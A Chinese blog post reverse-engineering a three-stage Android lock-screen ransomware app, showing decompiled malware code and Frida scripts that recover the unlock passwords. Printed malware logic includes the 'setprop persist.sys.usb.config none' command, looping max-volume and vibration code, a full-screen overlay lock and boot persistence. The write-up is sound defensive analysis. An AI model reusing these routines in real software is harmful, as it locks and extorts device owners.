天天看點

三層鎖機病毒的層層逆向剖析

病毒症狀

adb install yry-1.0.apk 啟動app後,不忍直視,症狀如下:

  • 背景圖檔和背景音樂極其不健康
  • 音量被調到最大,循環播放,且無法關閉
  • 螢幕被鎖定,無法進行任何操作
  • usb斷開,adb無法使用
  • 開機自動啟動
  • 手機持續震動

通過移動安全資料平台檢測得知app開啟了以下權限

三層鎖機病毒的層層逆向剖析

不解釋連招

打開源碼分析,好家夥嗎,我直接好家夥!!!充滿了對家人的親切問候,名字挺好聽,人幹的事一點都不沾邊。

三層鎖機病毒的層層逆向剖析

氣的我又買了個手機,重新裝上該app,上去就是frida+objection+jeb+jadx動靜态分析一套不解釋組合連招直接帶走。

靜态分析

通過jadx反編譯AndroidManifest.xml中看到大片的uses-permission申請權限,以及對廣播的receiver中申請的action,用于監聽廣播自啟動調用action,妙啊,後續一系列的實作廣播監聽就是罪魁禍首。

三層鎖機病毒的層層逆向剖析
不同反編譯軟體要結合着看,同一個軟體不同版本可能結果都不一樣,比如jeb3中将解鎖加密邏輯判斷為

if(顔如玉QQ2693533893.getSaltMD5(MyServiceOne.顔如玉(v2.substring(0, 3))) + v2.substring(3, v2.length()).equals("9DDEB743E935CE399F1DFAF080775366" + v3_1))

不能說邏輯嚴密吧,可以說是狗屁不通,字元串+布爾值居然還能放到if條件裡,giao!!!
  • FloatViewUtil UI工具類
  • MainActivity 入口
  • MyBroadcast 繼承自BroadcastReceiver實作啟動時調用onReceive
  • MyServiceOne 加解密服務類
  • UsbLock 鎖死usb接口

動态分析

1.如何做到adb找不到裝置,直接斷開連接配接,無法hook動态分析,也沒法DDMS?

UsbLock繼承自TimerTask,在重新run方法中執行一句話指令

Process exec = Runtime.getRuntime().exec("setprop persist.sys.usb.config none");

方案一:apktool解包後修改smali源碼注釋掉這行smali指令并編譯重打包,keytool制作秘鑰庫,apksigner重簽名安裝。

apktool d yry-1.0.apk  解包
cd yry-1.0/smali/com/shimeng/詩夢 && vim USBLock.smali 幹掉這一行
const-string v10, "setprop persist.sys.usb.config none"
apktool b yry-1.0  回編譯
cd yry-1.0/dist && keytool -genkey -alias abc.keystore -keyalg RSA -validity 20000 -keystore abc.keystore  制作秘鑰
jarsigner -verbose -keystore abc.keystore -signedjar new_yry.apk yry-1.0.apk abc.keystore  重簽名安裝new_yry.apk
           

方案二:實作安裝上termux,啟動好frida即可

adb push frida-server-14.2.8-android-x86 /data/local/tmp  賦予最高權限 
adb install com.termux_92.apk   
cd /data/local/tmp && chmod 777 * && ./frida-server-14.2.8-android-x86 -l 0.0.0.0:8888  啟動frida
pyenv local 3.8.5   切換py版本,保證objection frida版本對應
frida-ps -H 192.168.0.104:8888 | grep shimeng   查找程序确實存在
objection -N -h 192.168.0.104 -p 8888 -g com.shimeng.qq2693533893 explore  開啟記憶體分析
android hooking list classes
           

2.如何做到無法關閉音量,循環播放富強民主文明和諧的音樂?

android hooking list services   拿到可hook的方法
android hooking list receivers
           
三層鎖機病毒的層層逆向剖析
plugin wallbreaker classdump com.shimeng.qq2693533893.MyServiceOne --fullname  記憶體漫遊可視化這兩個類的源碼結構
plugin wallbreaker classdump com.shimeng.qq2693533893.MyBroadcast --fullname 
           
三層鎖機病毒的層層逆向剖析

android hooking watch class com.shimeng.qq2693533893.MyServiceOne

通過hook類MyServiceOne 發現MyServiceOne.access$L1000018一直被反複調用

三層鎖機病毒的層層逆向剖析

android hooking watch class_method com.shimeng.qq2693533893.MyServiceOne.access$L1000018 --dump-backtrace

我們開始hook該内部類并列印調用棧,發現調用棧上層反複調用com.shimeng.qq2693533893.MyServiceOne.access$100000007.run,想必這就是為什麼循環播放的原因了,瞄一波反編譯源碼,soga,該線程擷取到系統audio服務後setStreamVolume調高最大音量,vibrator持續震動。

class 100000007 implements Runnable {
    private final MyServiceOne this$0;

    static MyServiceOne access$0(100000007 arg4) {
        return MyServiceOne.this;
    }

    @Override
    public void run() {
        MyServiceOne.this.hand2.postDelayed(this, 1800L);
        AudioManager v1 = (AudioManager)MyServiceOne.this.getSystemService("audio");
        v1.setStreamVolume(3, v1.getStreamMaxVolume(3), 4);
        v1.getStreamMaxVolume(0);
        v1.getStreamVolume(0);
        v1.getStreamVolume(0);
        Vibrator v4 = (Vibrator)MyServiceOne.this.getApplication().getSystemService("vibrator");
        long[] v5 = new long[4];
        new long[4][0] = 100L;
        v5[1] = 1500L;
        v5[2] = 100L;
        v5[3] = 1500L;
        v4.vibrate(v5, -1);
    }
}
           

3.如何做到鎖屏無法退出?

之前初步分析到疑似UI工具類FloatViewUtil ,在MyServiceOne的m2() sm() sm2()中反複調用,使用frida主動調用FloatViewUtil.removeView() 去掉了鎖屏界面,留下空白界面,那麼這個空白界面才是真正的activity。

在createfloatview中調用了

this.wm.addView(this.v, this.w);

,原來是借助WindowManager顯示一個全屏置頂的浮窗鎖定了螢幕,

public void addView(View view, ViewGroup.LayoutParams params);

用this.w封裝參數flags判斷是否取消懸浮窗,每次觸摸螢幕調用OnTouchListener後更新

this.this$0.wm.updateViewLayout(view2, this.this$0.w);

,保持原樣,是以鎖屏無法操作,除了調用系統庫WindowManager.removeView()别無他法。

4.如何做到開機啟動并關閉也能複活?

之前分析AndroidManifest.xml時發現MyBroadcast繼承BroadcastReceiver監聽了BOOT_COMPLETED啟動方法實作onReceive。其中通過

if (intent2.getAction() != null) {

實作

context4.startService(intent5)

,通過

if (Intent.ACTION_SCREEN_ON.equals(intent2.getAction()) && intent2.getAction() != null) {

實作

context5.startActivity(intent7)

,startService啟動的service程序使用者不可見,且不會被殺死,除非系統記憶體不足以保持前台程序和可視程序,這也太tm适合做自啟服務了!!!當主動調用拿掉app的強制懸浮時,看到背景依舊有一個MyServiceOne服務偷偷運作,強制kill該程序後,果然不會再次複活了。哦!原來這就是驚喜啊!

KO

這個已經被我們開膛破肚了,但是好像從開發角度分析沒有太多成就感,那麼就硬肛吧!!!傷害高而且侮辱性極強!!!

之前hook MyServiceOne列印出了記憶體中所有的類名,由于輸入密碼需要點選那麼就需要onClick,搜尋jeb2中發現100000002,100000003,100000006三個匿名内部類中實作了View$OnClickListener的onClick方法,那麼先從100000002開肛吧!

一層解鎖

@Override public void onClick(View arg15) {
    100000002 v0 = this;
    String v2 = v0.val$editText.getText().toString();
    if(v2.length() >= 3) {
        String v3 = MyServiceOne.顔如玉(顔如玉QQ2693533893.getSaltMD5(new StringBuffer().append("").append(v0.val$詩夢).toString())).replaceAll("\\D+", "");
        if(v3.length() > 9 && v3.length() > 3) {
            if(new StringBuffer().append(顔如玉QQ2693533893.getSaltMD5(MyServiceOne.顔如玉(v2.substring(0, 3)))).append(v2.substring(3, v2.length())).toString().equals(new StringBuffer().append("9DDEB743E935CE399F1DFAF080775366").append(v3.substring(0, 9)).toString())) {
                v0.this$0.util.removeView();
                v0.this$0.sm2();
            }
            else {
                --v0.this$0.L;
                ++v0.this$0.B;
                v0.val$lpo.setText(new StringBuffer().append(new StringBuffer().append(new StringBuffer().append(new StringBuffer().append(new StringBuffer().append("很抱歉!密碼錯誤解鎖請加QQ群:437732815聯系管理者購買正确的密碼解鎖...密碼以錯").append(v0.this$0.B).toString()).append("次!").toString()).append("還剩").toString()).append(v0.this$0.L).toString()).append("次輸入錯誤密碼的機會").toString());
                if(v0.this$0.L <= 0) {
                    v0.val$lpo.setText("本次輸入密碼錯誤次數累計以達10次,請重新開機手機後擷取輸入密碼機會!");
                    v0.val$button.setVisibility(8);
                    v0.val$textView2.setVisibility(8);
                    v0.val$editText.setVisibility(8);
                    v0.val$a00.setVisibility(8);
                    v0.val$b00.setVisibility(8);
                    v0.val$c00.setVisibility(8);
                    v0.val$d00.setVisibility(8);
                }
            }
        }
    }
}
           

使用jeb2反編譯拿到100000002中解鎖的邏輯,那麼v2必定是我們輸入的字元串,當長度大于3時調用MyServiceOne.顔如玉方法,那麼就hook這個顔如玉

android hooking watch class_method com.shimeng.qq2693533893.MyServiceOne.顔如玉 --dump-args --dump-backtrace --dump-return

三層鎖機病毒的層層逆向剖析

列印調用棧果然調用了onClick方法,頁面彈出很抱歉!密碼錯誤解鎖等恰好是onClick中解鎖失敗傳回的資訊

在sm()方法中拿到生成識别碼的邏輯,跟進去原來是随機四位數做了火星文對應,在100000002構造函數中

this.val$詩夢 = arg17;

就是随機四位數v11 ^ 1288,,是以才顯示在前台頁面是火星文,那麼我們首先通過hook顔如玉QQ2693533893.get()拿到四位數對應的該火星文。

int v11 = ((int)(Math.random() * (((double)9876))));
v4.setText(new StringBuffer().append("你的識别碼=").append(顔如玉QQ2693533893.get(new StringBuffer().append("").append(v11).toString())).toString());
v3.setOnClickListener(new 100000002(this, v5, v11 ^ 1288, v6, v3, v4, v7, v8, v9, v10));
           

接着分析onClick方法可知随機四位數被作為參數給了getSaltMD5,那麼我們可以通過反射和四位數拿到v3的值。

String v3 = MyServiceOne.顔如玉(顔如玉QQ2693533893.getSaltMD5(new StringBuffer().append("").append(v0.val$詩夢).toString())).replaceAll("\\D+", "");
if(new StringBuffer().append(顔如玉QQ2693533893.getSaltMD5(MyServiceOne.顔如玉(v2.substring(0, 3)))).append(v2.substring(3, v2.length())).toString().equals(new StringBuffer().append("9DDEB743E935CE399F1DFAF080775366").append(v3.substring(0, 9)).toString())) {
    v0.this$0.util.removeView();
    v0.this$0.sm2();
}
           

frida腳本編寫如下:

function stage1(){
    Java.perform(function(){
        var javaString = Java.use('java.lang.String')

        for(var i=999;i<10000;i++){
            var i_str = javaString.$new(String(i));
            var recogCode = Java.use("com.shimeng.顔如玉.顔如玉QQ2693533893").get(i_str);
            var final_last9 = Java.use("com.shimeng.qq2693533893.MyServiceOne").顔如玉(Java.use("com.shimeng.顔如玉.顔如玉QQ2693533893").getSaltMD5((javaString.$new(String(i^1288)))));
            var final_final_last9 = javaString.$new(final_last9).replaceAll("\\D+", "");

            console.log("i_str,recogCode,final_final_last9:",i_str,recogCode,final_final_last9);
            if (recogCode == "©©/÷"){ // 5147
                break;
            }
        }

    })
}
           

frida -H 192.168.0.104:8888 -f com.shimeng.qq2693533893 -l yry.js

并運作stage1()拿到四位數,火星文,加密串對應關系

i_str,recogCode,final_final_last9: 5582 ©©※÷ 95207171906204966108845772
i_str,recogCode,final_final_last9: 5583 ©©※∷ 39716345426943642188517
i_str,recogCode,final_final_last9: 5584 ©©※● 5796073015486055711181
i_str,recogCode,final_final_last9: 5585 ©©※© 4182232792980711126331187
i_str,recogCode,final_final_last9: 5586 ©©※額 99099593856461775560719982
i_str,recogCode,final_final_last9: 5587 ©©※★ 19863461630870460433322044
i_str,recogCode,final_final_last9: 5588 ©©※※ 9011175927236532778650
i_str,recogCode,final_final_last9: 5589 ©©※/ 132271537343570495458138
i_str,recogCode,final_final_last9: 5590 ©©/嘻 7083188607268447436716
i_str,recogCode,final_final_last9: 5591 ©©/❥ 61563069152823766973923722
i_str,recogCode,final_final_last9: 5592 ©©/÷ 50084396538178613588090863
           

接着分析這個equals大長串,很明顯前面字元串md5(顔如玉(輸入串(0,3)))+輸入串(3,).equals(“9DDEB743E935CE399F1DFAF080775366”+加密串前9位)

衆所周知,MD5是128位二進制位,一位16進制數=4位二進制數,以16進制顯示為32位字元串,那麼md5(顔如玉(輸入串(0,3))) === “9DDEB743E935CE399F1DFAF080775366”,且輸入串(3,)=加密串前9位。

通過剝離反編譯後的算法,拿到輸入串前3位為358,加上輸入串(3,)即加密串前9位500843965===》輸入串v2=358500843965 一giao我裡giaogiao

二層解鎖

giao中計了

三層鎖機病毒的層層逆向剖析

耐心分析,原來隻是故技重施,雕蟲小技而已,随機數從四位變成了五位,加密方法修改了下而已。

String v3 = 顔如玉QQ2693533893.hex_sha1(MyServiceOne.破解死媽.getTwiceMD5ofString(new StringBuffer().append("").append(v0.val$u2).toString())).replaceAll("\\D+", "");
if(v3.length() > 9 && v3.length() > 3 && (new StringBuffer().append(MyServiceOne.破解死媽.getTwiceMD5ofString(顔如玉QQ2693533893.hex_sha1(v2.substring(0, 3)))).append(v2.substring(3, v2.length())).toString().equals(new StringBuffer().append("8D4FF507DCDA63C201EB8B99D4170900").append(v3.substring(0, 9)).toString()))) {
    v0.this$0.util.removeView();
    v0.this$0.詩夢();
}
           

同樣的方式,修改frida腳本如下:

function stage2(){
    Java.perform(function(){
        var QQinstance = null;
        Java.choose("com.shimeng.顔如玉.顔如玉QQ2693533893",{
            onMatch:function(instance){
                console.log("found instance :",instance);
                QQinstance = instance;
            },onComplete:function(){console.log("search Competed!")}
        })
        console.log("QQinstance is :",QQinstance)

        var javaString = Java.use('java.lang.String')
        for (var i = 9999;i<100000;i++){
            var i_str = javaString.$new(String(i));
            var recogCode = Java.use("com.shimeng.顔如玉.顔如玉QQ2693533893").get(i_str);
            var final_right9 = Java.use("com.shimeng.顔如玉.顔如玉QQ2693533893").hex_sha1(QQinstance.getTwiceMD5ofString(i_str));
            var finalFinalright9 = javaString.$new(final_right9).replaceAll("\\D+", "");
            console.log("i_str,recogCode,finalFinalright9",i_str,recogCode,finalFinalright9)
            
            if (recogCode == "※嘻額❥/"){ // 98074
                break;
            }

        }

    })
}
           

frida -H 192.168.0.104:8888 -f com.shimeng.qq2693533893 -l yry.js

并運作stage2()拿到四位數,火星文,加密串對應關系

i_str,recogCode,finalFinalright9 80614 ※嘻額❥● 387001687403591151857740
i_str,recogCode,finalFinalright9 80615 ※嘻額❥© 82202783102877783960515732
i_str,recogCode,finalFinalright9 80616 ※嘻額❥額 20062102770068853202687179
i_str,recogCode,finalFinalright9 80617 ※嘻額❥★ 13702574120572139433375947
i_str,recogCode,finalFinalright9 80618 ※嘻額❥※ 681123636848227458618110944
i_str,recogCode,finalFinalright9 80619 ※嘻額❥/ 93184320701127896024850
           

拿到輸入串v2=694931843207 一giao我裡giaogiao

三層解鎖

giao又雙叒叕中計了

三層鎖機病毒的層層逆向剖析

耐心分析,jeb2反編譯發現這次不是故技重施,而是要放大招了

@Override public void onClick(View arg12) {
    100000006 v0 = this;
    new Thread(new 100000004(v0)).start();
    if(顔如玉QQ2693533893.hex_sha1("破解死媽").equals(v0.this$0.坐等前往世界的盡頭的小船)) {
        v0.this$0.util.removeView();
        new Timer().schedule(new 100000005(v0), ((long)1500));
    }
    else if(顔如玉QQ2693533893.hex_sha1(v0.val$fuck.getText().toString()).equals(v0.this$0.坐等前往世界的盡頭的小船)) {
        v0.this$0.util.removeView();
    }
    else {
        v0.this$0.解鎖.setVisibility(0);
        v0.this$0.解鎖.setText(new StringBuffer().append(new StringBuffer().append("密碼錯誤,手機恢複正常失敗").append("/n").toString()).append("Manifest-Version: 1.0Created-By: 1.0 (Android SignApk)").toString());
        v0.this$0.hand3.postDelayed(v0.this$0.runn3, ((long)2000));
    }
}
           

這次輸入的值經過hex_sha1後要和變量

v0.this$0.坐等前往世界的盡頭的小船

一緻才行,通過smali插樁列印log重打包或者通過hook String的equals方法得知這個變量居然為空,也就是無論如何也不可能解開了,這局又是逆風局。

smali插樁:

通過Android逆向助手反編譯apk中的dex,找到指定方法所在的smali檔案,列印變量處添加log,将crack.smali放到com同級目錄下,log列印使用方式

輸出byte
invoke-static {v*}, Lcrack;->convertByteArrayToString([B)Ljava/lang/String;

輸出string
invoke-static {v*}, Lcrack;->log(Ljava/lang/String;)V

輸出tag
==Debug-Info==
           
将classes目錄通過Android逆向助手重打包dex,不解壓原apk并生成的dex直接替換原apk中的classes.dex并安裝改過的apk

全局搜尋

坐等前往世界的盡頭的小船

發現這是個全局變量,在内部類100000006的内部類100000004中存在指派

@Override public void run() {
    100000001 v0 = this;
    100000001 v4 = v0;
    try {
        String v1 = v4.this$0.獨自走在孤獨的雨中("https://www.lanzous.com/b897189");
        String v2 = v1.substring(v1.indexOf("【"), v1.indexOf("】")).replace("【", "");
        if("".equals(v2)) {
            return;
        }

        v0.this$0.smsOpera(v2);
    }
    catch(Exception v4_1) {
    }
}
           

獨自走在孤獨的雨中

是一個http請求工具類,傳回請求結果,那麼打開這個位址需要輸入密碼,看起來應該是作者會給到倒黴蛋的密碼,然後輸入即可拿到子串,請求不聽的向該位址發送,知道拿到子串後smsOpera發送短信,即可給記憶體中變量

v0.this$0.坐等前往世界的盡頭的小船

指派,那麼新機詞挖一此莫bai禾多此!

function stage3(){
    Java.perform(function(){
        var javaString = Java.use('java.lang.String')
        var ikey = javaString.$new(String(123456))
        var ikeySign = Java.use("com.shimeng.顔如玉.顔如玉QQ2693533893").hex_sha1(ikey)
        Java.choose("com.shimeng.qq2693533893.MyServiceOne",{
            onMatch:function(instance){
                console.log("found instance",instance)
                instance.坐等前往世界的盡頭的小船.value = ikeySign;
            },onComplete(){console.log("search completed!")}
        })
    })
}
           

frida -H 192.168.0.104:8888 -f com.shimeng.qq2693533893 -l yry.js

并運作stage3()利用frida在記憶體中給

坐等前往世界的盡頭的小船

進行指派,再輸入123456,終于解鎖。